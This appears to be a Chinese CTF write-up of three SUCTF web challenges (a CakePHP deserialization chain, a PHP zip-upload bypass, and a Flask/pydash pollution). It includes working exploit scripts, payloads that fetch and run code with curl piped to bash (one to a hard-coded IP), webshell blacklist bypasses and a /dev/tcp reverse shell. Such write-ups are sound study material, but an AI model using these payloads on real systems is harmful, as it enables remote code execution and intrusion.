java题目等年后再来嘻嘻
SU_POP
SU_POP 环境配置
- 不用使用compose
- Dockerfile build一下:
docker build -t su_pop:latest .
- run一下即可:
docker run -d -p 5000:80 --name su_pop su_pop:latest
- 可以访问就ok了
SU_POP 分析 | SV
- 这里链子的寻找和java的反序列化链子很像
- 有源码文件,审计一波吧
- /var/www/html 可读可写;有mysql连接
- 信息都会交给pagesController进行处理
- 锁定范围pop链子,比赛时到这里找不到链子的入口点就断了,节省时间直接看题解提示和思路找链子吧(实际上并没有进行锁定,直接找bro)
SU_POP 复现 | SV
由于没有做出来,直接看怎么复现,分析一下目录结构
- app_local.php: 有security的salt值,数据库名与密码,EmailTransport
- route.php: 路由
- PagesController.php
- 在handleSer()函数中传入函数即可成功反序列化,并且会显示回来(html转移了似乎
h()
) - display应该可以不用管,这里就是单纯返回渲染后的文件
- 在handleSer()函数中传入函数即可成功反序列化,并且会显示回来(html转移了似乎
调用链子(实际上是一个很耗费时间的过程,但是大致就那么几步,简单->复杂找就好)
- S1: 找文章熟悉一下和寻找及技巧(这一步也可以在后面): 其实这篇有看到过55
- S2: 找sink: 就是代码执行或者命令执行,或者是回调(任意函数调用)的地方
- 这里不浪费时间,直接搜eval,最简单的有两个
- Mockclass::generate() mockName, classCode均可控
- Mocktrait::generate() mockName, classCode均可控
- 这里不浪费时间,直接搜eval,最简单的有两个
- S3: 找调用处,可以是回调/名称调用,直接搜call(,有
- TraceableCommand::__call(…)
- ReflectionContainer::call(…)
- BehaviorRegistry::call(…) 这个比较easy的逻辑,设置变量比较easy
- Association.php::__call(…)
- TranslateBehavior.php::__call(…)
- Table.php::__call(…)
- 后面还有很多,先复现吧
- 再找调用usages看看,也可以是__call
- Table.php::__call(…) 可以调用BehaviorRegistry::call()
- S4: 魔术方法再往上比较难,按照技巧/换一个方向寻找(或者找文章)
- 目的是要到__call,不知道调用的是什么方法,但是可以知道是Table这个对象的(找了半个小时突然发现php是动态类型的,笑),这里只需要是Table对象调用不同方法,这个Table对象可以是随便赋值的(因为是php)
- 有一个方法是从给定的魔术方法入手,__toString()就很好,但是这里不是,这里是换了个方向
- S5: 找__destruct()/__wakeup()
- __wakeup()没有找到
- RejectedPromise的__destruct()下一步有__toString(),可控,ok了家人们,找__toString()到可控对象调用函数
- S6: 顺着可控的__destruct()
- Response.php:__toString()可控,只需要把stream变成Table即可
还是vscode用的爽
1
2
3
4
5React\Promise\Internal\RejectedPromise::__destruct()
-->Cake\Http\Response::__toString()
-->Cake\ORM\Table::__call()
-->Cake\ORM\BehaviorRegistry::call()
-->PHPUnit\Framework\MockObject\Generator\MockClass::generate()来个payload即可
本地docker起一个cakephp服务
Dockerfile和docker-compose.yml如下(ai的嘻嘻)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35// Dockerfile
FROM php:8.2-apache
# 安装必要的 PHP 扩展
RUN apt-get update && apt-get install -y \
libicu-dev libonig-dev libzip-dev unzip git \
&& docker-php-ext-install intl mbstring pdo pdo_mysql opcache \
&& a2enmod rewrite
# 安装 Composer
RUN curl -L https://getcomposer.org/installer | php -- --install-dir=/usr/local/bin --filename=composer
# 设置工作目录
WORKDIR /var/www/html
# 安装 CakePHP 5 项目
RUN composer create-project --prefer-dist "cakephp/app:^5.0" . \
&& chown -R www-data:www-data /var/www/html \
&& chmod -R 755 /var/www/html
# 暴露 Web 服务端口
EXPOSE 80
// docker-compose.yml
// 需要创建一个/logsl来存放logs,也可以添加更多来进行持久化
services:
web:
build: .
ports:
- "4999:80"
volumes:
- /home/kc1zs4/Docker/SUctf25/cakephp5/logs:/var/log/apache2
restart: always/var/www/html/webroot 下直接起一个服务可以直接使用php文件
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65// su_pop.php
// 只需要设置需要利用到的属性即可,这里需要搞懂一下命名空间
namespace PHPUnit\Framework\MockObject\Generator;
class MockClass
{
public $classCode;
public $mockName;
public function __construct() {
$this->classCode ="system('curl http://xxx/ | bash');";
$this->mockName = "KC1zs4";
}
}
namespace Cake\ORM;
use PHPUnit\Framework\MockObject\Generator\MockClass;
class BehaviorRegistry
{
public $_methodMap;
public $_loaded;
public function __construct() {
$this->_methodMap = ["rewind" => ["KC1zs4", "generate"]];
$this->_loaded = ["KC1zs4" => new MockClass()];
}
}
class Table
{
public $_behaviors;
public function __construct() {
$this->_behaviors = new BehaviorRegistry();
}
}
namespace Cake\Http;
use Cake\ORM\Table;
class Response
{
public $stream;
public function __construct() {
$this->stream = new Table();
}
}
namespace React\Promise\Internal;
use Cake\Http\Response;
final class RejectedPromise
{
public $reason;
public function __construct() {
$this->reason = new Response();
}
}
$a=new RejectedPromise();
echo "<h1>hello kc1zs4</h1>";
echo base64_encode(serialize($a));python payload脚本
1
2
3
4
5
6
7
8
9
10
11
12
13import requests
host="http://localhost:10021"
session = requests.Session()
### /ser
path_ser = "/ser"
ser_params = {
"ser": "TzozODoiUmVhY3RcUHJvbWlzZVxJbnRlcm5hbFxSZWplY3RlZFByb21pc2UiOjE6e3M6NjoicmVhc29uIjtPOjE4OiJDYWtlXEh0dHBcUmVzcG9uc2UiOjE6e3M6Njoic3RyZWFtIjtPOjE0OiJDYWtlXE9STVxUYWJsZSI6MTp7czoxMDoiX2JlaGF2aW9ycyI7TzoyNToiQ2FrZVxPUk1cQmVoYXZpb3JSZWdpc3RyeSI6Mjp7czoxMDoiX21ldGhvZE1hcCI7YToxOntzOjY6InJld2luZCI7YToyOntpOjA7czo2OiJLQzF6czQiO2k6MTtzOjg6ImdlbmVyYXRlIjt9fXM6NzoiX2xvYWRlZCI7YToxOntzOjY6IktDMXpzNCI7Tzo0ODoiUEhQVW5pdFxGcmFtZXdvcmtcTW9ja09iamVjdFxHZW5lcmF0b3JcTW9ja0NsYXNzIjoyOntzOjk6ImNsYXNzQ29kZSI7czo0OToic3lzdGVtKCdjdXJsIGh0dHA6Ly84LjEzOC4xOTEuMTM6MTAwMDEvIHwgYmFzaCcpOyI7czo4OiJtb2NrTmFtZSI7czo2OiJLQzF6czQiO319fX19fQ=="
}
r = session.get(host + path_ser, params=ser_params, timeout=5)
print(r.text)进入shell
- 找一下flag,
find / -name *flag*
- find suid提权一波带走:
ls -al
,find / -user root -perm -4000
,find . -exec cat /*flag* \;
- SUCTF{PoP_CHaiN5_@Re_SO_fUn!!!}
- 找一下flag,
SU_photogallery
SU_photogallery 环境配置
- 老样子
docker-compose build
- 修改一下想要的端口(在docker-compose里),然后
docker-compose up -d
SU_photogallery 分析 | SV
- 上传需要是zip和图片,会不会有unzip
- 可以知道是php写的,上传一下也没有好信息,报错也杯ban掉了,至少需要unzip文件怎么样啊bro
- 这里应该是要尝试读一下文件
- 测信道?有些函数有啊,但是这里没有输入纯靠路由吗?zip或许先移动到/tmp/下?然后再解压?,直接再zip这里测信道吗 Nop!
SU_photogallery 复现 | SV
初见杀了55
提取信息:测试+php,使用的是php Server(这里真是nb,写的是容易配的环境,很明显是题眼),目的至少要读到文件,需要找相关的漏洞
- php Server漏洞,有[https://blog.csdn.net/Kawakaze_JF/article/details/133046885]
- bp发包(要关掉content-length自动添加)
- 这里python受到了局限,需要用bp,下面是bp试图,\r\n是bp中显示出来的
- 注意点
- 这里需要使用kc1zs4.txt,不能是kc1zs4/文件夹,也不能是php文件,文章里也有说
1
2
3
4
5
6GET /unzip.php HTTP/1.1\r\n
Host: 127.0.0.1:5000\r\n
\r\n
\r\n
GET /kc1zs4.txt HTTP/1.1\r\n
\r\n代码审计
- 这里其实只需要上传一个php文件然后访问执行即可getshell
- 现在的问题在于上传的文件extract出来后会重命名,爆破有点逆天了?还有别的方法吗(想不到了55)
- idea1(其实就是idea3嘻嘻): extractTo()是一个一个解压还是啥,这里失败后并没有返回,后续仍然会移动到upload/suimages/下
- idea2: 软连接,似乎可以用../l来绕过吧,可以本地试试,php这个函数似乎有版本限制,试的话要挺久,搜不到再回来试一试吧
- idea3: 找找资料: php zip ctf[https://ucasers.cn/zip在CTF-web方向中的一些用法],这篇搜extractTo(),title-9这里的描述很符合,ok的,报错的也可以文件名做文章
- idea4: 再check_extension和file_rename中使得unlink出错保留下来文件emm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
/*
* @Author: Nbc
* @Date: 2025-01-13 16:13:46
* @LastEditors: Nbc
* @LastEditTime: 2025-01-13 16:31:53
* @FilePath: \src\unzip.php
* @Description:
*
* Copyright (c) 2025 by Nbc, All Rights Reserved.
*/
error_reporting(0);
function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;
if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));
// 不能上传图片
if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}
}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;
// 随机名称,但是还是可以爆破来的,目录的话有点难搞
if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}
function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file); // 这个是可控的
// 移动文件到指定目录
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}
}
return true;
}
function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;
}
else{
return false;
}
}
}
function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);
// 似乎可以拼接,base64的也过滤了
if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}
function unzip($zipname, $basePath) {
$zip = new ZipArchive;
// 是想要phar吗?用于执行命令的话,似乎不行
if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
// 无法竞争,只能穿越?
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
// 可以执行,可是访问不到啊
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
// 内置的函数
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
else{
// 当且仅当提取成功时,才会检查文件
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
}
// 作用:移动文件到指定目录
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true; // return true的一定走完了全流程
}
$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/'; // DIRECTORY_SEPARATOR是常量
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true); // 可执行可上传
}
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;
// 调用unzip,目录穿越,然后可以执行吗,这里的unzip不是内置的
$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
}使用idea3上传一个zip文件,先读取一下poc一下,kc1zs4.txt
1
2
3
4
5
6
7
8
9
10import zipfile
import io
mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
zf.writestr('kc1zs4.txt', b'hello kc1zs4')
zf.writestr('A'*5000, b'AAAAA') # 构造出错
with open("kc1zs4.zip", "wb") as f:
f.write(mf.getvalue())ok,接下来写上shell了嘻嘻,直接访问得到,nice,绕黑名单,phpinfo看看有没有disable_functions,有的话就要绕过了
- emm,info也要绕过
zf.writestr('kc1zs4.php', b'<?php $a="phpinf";$b="o";$c=$a.$b;$c();')
- wc,确实有info,但是没有system(),搞笑呢?
zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("l"."s /");')
zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("ca"."t /seef1ag_getfl4g");')
- SUCTF{sti1l_w0t3r_Run_d@@p!!!}
- payload
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42import requests
host="http://localhost:5000"
bp = {
"http": "http://localhost:8080",
}
session = requests.Session()
### 生成zip文件
import zipfile
import io
mf = io.BytesIO()
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
# phpinfo
# zf.writestr('kc1zs4.php', b'<?php $a="phpinf";$b="o";$c=$a.$b;$c();')
# system()
# zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c(\'$_POST["kc1zs4"]\');')
# zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("l"."s /");')
zf.writestr('kc1zs4.php', b'<?php $a="syst";$b="em";$c=$a.$b;echo $c("ca"."t /seef1ag_getfl4g");')
zf.writestr('A'*5000, b'AAAAA') # 构造出错
with open("kc1zs4.zip", "wb") as f:
f.write(mf.getvalue())
### 报错的思路
# path_error="/error"
# r = session.get(host+path_error, proxies=bp, timeout=5)
# print(r.text)
### 发送一个zip看
path_unzip="/unzip.php"
zip_file = {
"file": (
'kc1zs4.zip', open('kc1zs4.zip', 'rb'), 'application/zip'
)
}
r = session.post(host+path_unzip, files=zip_file, proxies=bp, timeout=5)
print(r.text)- emm,info也要绕过
SU_blog
SU_blog 环境配置
- 给了docker(ai: docker compose基本命令)
- 进入Dockerfile项目根目录
docker-compose build
- 查看正在运行的服务
docker-compose ps
- 启动服务
docker-compose up -d
,-d指定后台运行 - 停止服务
docker-compose down
- 进入Dockerfile项目根目录
SU_blog 分析| SV
没有源码,注册个账号,进入,看看能不能拿源码
登录后拿到提示
- 这个session像是flask
- 我最喜欢时间戳了,而且听说md5这种单项签名非常安全,所以我把博客诞生的时间当做了自己的SECRET
- 没法报错?
目录穿越有没有找到和无权限两种,这个权限怎么办
???注册一个admin的用户突然就有权限了?权限绕过这么ez?
articles/….//articles/article1.txt可以读取到文件,方向应该是对的
article?file=articles/….//….//….//….//….//….//etc/passwd,成功读到
article?file=articles/….//….//….//….//….//….//proc/1/environ 但是没有flag嘻嘻,肯定不会这么简单,想方法读读源码,猜测是flask框架,读运行目录
印象还有个cmdline是进程命令行参数的
- [https://www.cnblogs.com/niyani/p/17074125.html] 很像啊,有pythonapp/app.py
- articles/….//….//….//….//….//….//….//….//….//….//pythonapp/app.py没有啊
- 直接app.py试一试,file=articles/….//app.py,ok,读到源码,审计一下
- SECRET是否可以伪造
- /article的file可以是数组?
- 有waf.py,但黑名单,给出了pwaf和cwaf,不能读就只能盲注了,fenjing!
- key和value的waf似乎是不一样的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf
app = Flask(__name__)
# 密钥是时间戳,可以伪造session吗
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()
users = {"testuser": "password"} # 有一个给定的users
# 项目根目录
BASE_DIR = '/var/www/html/myblog/app'
articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}
friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]
class User():
def __init__(self):
pass
user_data = User()
"""
只判断session中的用户名
"""
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))
"""
登录成功就进行重定向
"""
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')
"""
注册后就放入users字典中
"""
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')
"""
"""
def change_password():
# 判断是否登录
if 'username' not in session:
return redirect(url_for('login'))
# 通过旧密码来鉴权
if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']
if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))
return render_template('change_password.html')
"""
只有admin才可以访问/friendlinks,或者session中有username(也没啥)
"""
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)
"""
要求同/friendlinks,应该能xss
"""
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
name = request.form.get('name')
url = request.form.get('url')
if name and url:
friend_links.append({"name": name, "url": url})
return redirect(url_for('friendlinks'))
"""
要求同/friendlink
"""
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
if 0 <= index < len(friend_links):
del friend_links[index]
return redirect(url_for('friendlinks'))
def article():
if 'username' not in session:
return redirect(url_for('login'))
file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")
blacklist = ["waf.py"]
# 这里是允许file_name是数组吗
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")
# 需要指定个开头,想对了
if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")
if file_name not in articles.values():
# 现在是admin了没有问题
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")
file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '') # 双写绕过
try:
# 可以读取任意文件
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"
return render_template('article.html', file_name=file_name, content=content)
"""
这里应该是重点
post请求,get中pass=SUers
post传json
user_data ssti?
"""
def admin():
if request.args.get('pass')!="SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json
if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400
key = body.get('key')
value = body.get('value')
if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400
if not pwaf(key):
flash("Invalid key format", "error")
return jsonify({"message": "Invalid key format"}), 400
if not cwaf(value):
flash("Invalid value format", "error")
return jsonify({"message": "Invalid value format"}), 400
set_(user_data, key, value)
flash("User data updated successfully", "success")
return jsonify({"message": "User data updated successfully"}), 200
except json.JSONDecodeError:
flash("Invalid JSON data", "error")
return jsonify({"message": "Invalid JSON data"}), 400
except Exception as e:
flash(f"An error occurred: {str(e)}", "error")
return jsonify({"message": f"An error occurred: {str(e)}"}), 500
return render_template('admin.html', user_data=user_data)
def logout():
# 重置你的session
session.pop('username', None)
flash("You have been logged out.", "info")
return redirect(url_for('login'))
if __name__ == '__main__':
app.run(host='0.0.0.0',port=10006)
解决方法一:/Admin SSTI | FALSE
打/Admin的ssti,绕过waf
emm,还有个pydash,没那么简单,还需要再想想
需要再读admin.html: /article?file=articles/….//templates/admin.html
- 返回如下
- user_data,emm是个对象啊bro,这么玩,无回显?大那是可以写入和读取吧
1
2
3<h2 class="mt-4">Processed Data:</h2>
<pre>{{ user_data }}</pre>
<p class="mt-3"><a href="{{ url_for('index') }}" class="btn btn-secondary">Back to Home</a></p>- 返回如下
解决方法二:其他ssti | FALSE
如果只是ssti的话,在/article打不是更好?不用articles/开头就render file_name了,读一下article.html
1
2<title>Article - {{ file_name }}</title>
{{ content | safe }}不对不对,ssti不是这样
解决方法三:python pp | True
waf和pydash(原型链),这里应该需要到rce,至少是列目录
说到列目录,似乎见过这种题,但是这里不适用emm
那就只能rce了,结合[https://tttang.com/archive/1876/],有两种思路
- 直接打rce(是作为模板编译时的处理代码的一部分,同样受到模板缓存的影响,也就是说这里插入的payload只会在模板在第一次访问时触发)
- 修改render的识别符号,来进行ssti(也需要考虑缓存)
关于waf.py可以黑名单测试也可以读一下(居然是非预期): /article?file=articles/….//waf../.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43key_blacklist = [
'__file__', 'app', 'router', 'name_index',
'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
'__loader__', '0', '1', '3', '4', '5', '6', '7', '8', '9',
]
value_blacklist = [
'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]
# 将黑名单转换为字节串
key_blacklist_bytes = [word.encode() for word in key_blacklist]
value_blacklist_bytes = [word.encode() for word in value_blacklist]
def check_blacklist(data, blacklist):
for item in blacklist:
if item in data:
return False
return True
def pwaf(key):
# 将 key 转换为字节串
key_bytes = key.encode()
if not check_blacklist(key_bytes, key_blacklist_bytes):
print(f"Key contains blacklisted words.")
return False
return True
def cwaf(value):
if len(value) > 77:
print("Value exceeds 77 characters.")
return False
# 将 value 转换为字节串
value_bytes = value.encode()
if not check_blacklist(value_bytes, value_blacklist_bytes):
print(f"Value contains blacklisted words.")
return False
return True
SU_blog 复现 | SV
也算是分析出来了,就是操作上有一些麻烦,在这里试试
直接上payload
- 一开始这一步忘记了: 运行完脚本后访问一个模板就可以执行命令了
- 这里实际环境会隔两分钟刷新,要卡刷新后第一次访问模板,实战中应该是要在python中发然后随时看nc端口的
- SUCTF{fl4sk_1s_5imp1e_bu7_pyd45h_1s_n0t_s0_I_l0v3}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27import requests
host="http://localhost:5000"
proxies = {
"http": "http://localhost:8080",
}
session = requests.Session()
### /Admin ssti
path_admin="/Admin"
admin_params={
"pass": "SUers"
}
admin_json={
"key": "__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2",
"value": "*;__import__('os').system('curl http://xxx/ | bash');#" # 应该是有长度限制
}
session.cookies.set("session","eyJ1c2VybmFtZSI6ImFkbWluIn0.Z4-3cw.2M6wNP8P2Wh6W2YtNylsZRzhMzw") # 指定给定的session键值对
r = session.post(url=host+path_admin, params=admin_params, json=admin_json, proxies=proxies,timeout=5)
print(r.text)
# index.html或者kc1zsa4.sh
bash -c "bash -i >& /dev/tcp/xxx/xxx 0>&1"
php -S 0.0.0.0:xxx kc1zs4.sh
nc -lvvp xxx
Summary
SU_blog总结
- 敏感文件泄露
- flask session机制
- 反弹shell
- 这里路径的拼接怎么办
还是需要再敏感一点的,pydash首先考虑,ssti没理解到位
- /etc/passwd
- apache,nginx配置文件获取运行目录
- /proc目录
- /proc/1/environ
- /proc/self/cmdline
- [https://blog.csdn.net/cosmoslin/article/details/122660083]
- 日志文件
SU_photogallery总结
- http上传文件
- python上传文件
- python生成文件
- zipslip
- 一个思想是安全漏洞和版本与环境是紧密相关,还是要足够发散和细心
- 复现不出来可以看看解释,找到的文章里就有,不要太急急急
- 列idea是一个好习惯啊,安全与**错误返回和错误不返回(逻辑漏洞)**也是息息相关的
- 绕黑名单的传入思想是不错的:
<?php ($_GET['kc1zs4'])($_POST['kc1zs4']);
- 这一题还有一个意识,条件竞争再测试环境下不太行
SU_POP总结
-
$this -> $name
和$this -> name
- 这里Response.php中的stream怎么办
- 补充一点php命名空间的学习,顺便梳理清除一下php的session和file upload这些内容吧,还有变量类型是什么鬼
- 这种类型题目复现先理解链子后再手动找,不然卡到啥的要复现很久
- 官方的pop链也可以看看,有点意思,只有三环